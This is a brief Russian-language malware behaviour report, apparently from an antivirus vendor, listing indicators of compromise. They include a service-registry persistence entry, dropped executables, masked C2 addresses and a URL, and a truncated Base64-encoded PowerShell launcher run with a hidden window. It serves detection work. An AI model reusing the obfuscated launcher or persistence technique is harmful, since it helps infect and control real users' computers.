Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsData0019] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsData0019] 'ImagePath' = '"%WINDIR%\SysWOW64\raschap\NlsData0019.exe"'
- 'NlsData0019' "%WINDIR%\SysWOW64\raschap\NlsData0019.exe"
- 'NlsData0019' %WINDIR%\SysWOW64\raschap\NlsData0019.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABQAGMAagBuAHcAZwBwAD0AKAAoACcARAAnACsAJwBiAG8AJwApACsAJwAwACcAKwAoACcAcwAnACsAJwB1AGMAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAcAByAG8ARgBJAE...
- %HOMEPATH%\ctn66fz\mp9t847\k1r4jlz.exe
- %WINDIR%\syswow64\raschap\nlsdata0019.exe
- %HOMEPATH%\ctn66fz\mp9t847\k1r4jlz.exe в %WINDIR%\syswow64\raschap\nlsdata0019.exe
- '18#.#15.227.107':443
- http://ra###submit.com/search_test/s/
- http://18#.##5.227.107:443/HN3yrJvPnVP/qmBZq3CDyASj1QlhWw/FSdZid4Z4C4qFb/Y2GxILZoypKk3/m433PCQ4jG6/6u1kHsPqQ3HCCwfI/ via 18#.#15.227.107
- DNS ASK ra###submit.com
- '%HOMEPATH%\ctn66fz\mp9t847\k1r4jlz.exe'
- '%WINDIR%\syswow64\raschap\nlsdata0019.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABQAGMAagBuAHcAZwBwAD0AKAAoACcARAAnACsAJwBiAG8AJwApACsAJwAwACcAKwAoACcAcwAnACsAJwB1AGMAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAcAByAG8ARgBJAE...' (со скрытым окном)